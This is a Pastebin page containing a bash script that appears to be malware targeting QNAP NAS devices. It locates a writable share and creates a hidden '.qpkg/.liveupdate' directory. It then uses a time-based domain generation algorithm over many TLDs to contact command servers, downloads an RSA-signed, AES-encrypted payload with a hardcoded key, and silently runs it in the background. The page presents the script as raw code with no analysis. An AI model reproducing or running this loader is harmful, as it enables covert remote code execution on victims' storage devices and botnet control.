Advertisement
Guest User

script1.sh

a guest
Feb 1st, 2019
679
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 6.29 KB | None | 0 0
  1. export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
  2.  
  3. command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
  4.  
  5. test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
  6.  
  7. bdir=
  8. test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
  9. test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
  10. test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
  11. test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
  12. test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
  13. test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
  14. grep -F '' <<EOF >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
  15.  
  16. EOF
  17. test "$fgrep" || fgrep=grep
  18. test "$RANDOM" || RANDOM=17653
  19. genrstr ()
  20. {
  21.     local s=;
  22.     local min=${1:-4};
  23.     local max=${2:-12};
  24.     local kspace="${3:-a-zA-Z}"
  25.     tr -dc "$kspace" < /dev/urandom | {
  26.         read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s;
  27.         echo "$s"
  28.     }
  29. }
  30.  
  31. verifyfile() {
  32. local file="$1"
  33. local sig="${2:-$file_s}"
  34. local out
  35. test ! -z "$file" && test -s "$file" || return 1
  36. test ! -z "$sig" && test -s "$sig" || return 1
  37. test -f ".rsakey" || echo "$verifykey" > ".rsakey"
  38. out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0
  39. return 1
  40. }
  41.  
  42. decryptfile() {
  43. local file="$1"
  44. local ofile="${2:-${file}}"
  45. local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ'
  46. openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $?
  47. test -f "$ofile" && rm -f "$ofile"
  48. mv "${file}_d" "$ofile" && return 0
  49. return 1
  50. }
  51.  
  52. verifykey='-----BEGIN PUBLIC KEY-----
  53. MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog
  54. CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1'
  55. verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex
  56. RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC
  57. Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV
  58. gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC
  59. 2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz
  60. 0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh
  61. pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1
  62. DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE=
  63. -----END PUBLIC KEY-----'
  64.  
  65. DOMAIN_EXT_A='cf tk ml ga gq'
  66. DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd'
  67.  
  68. test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
  69. test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate"
  70. cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.*
  71.  
  72. echo "$verifykey" > ".rsakey"
  73. i=0 n=0 c=0 errorcount=0
  74. outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out'
  75.  
  76. for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do
  77.         for ext in $domainexts; do
  78.                 hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g')
  79.                 hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]}
  80.                 hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}"
  81.                 hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname"
  82.                 for host in $hostnames; do
  83.                         test -f "$outfile" && rm -f "$outfile"
  84.                         recentupdate=''
  85.                         curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)"
  86.                         test -s "$outfile" || continue
  87.                         fsize=$(( $(wc -c < "$outfile") ))
  88.                         test "$fsize" -gt 4096 && rm -f "$outfile" && continue
  89.                         rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue
  90.                         test "$rsamsg" || continue
  91.                         path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}"
  92.                         hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}"
  93.                         test "$rsadomain" = "${host}.${ext}" || continue
  94.                         timenow=$(date +%s)
  95.                         test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1
  96.                         curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}"
  97.                         filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue
  98.                         test "$filehash" = "$hash" || continue
  99.                         curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}"
  100.                         verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue
  101.                         mv "${outfile}_s" "${ts}_v"
  102.                         chmod 755 "$outfile" || continue
  103.                         ( ( exec >/dev/null 2>/dev/null </dev/null; "$outfile" ) & )
  104.                         test "$recentupdate" -eq 1 && exit 0
  105.                 done
  106.         done
  107. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement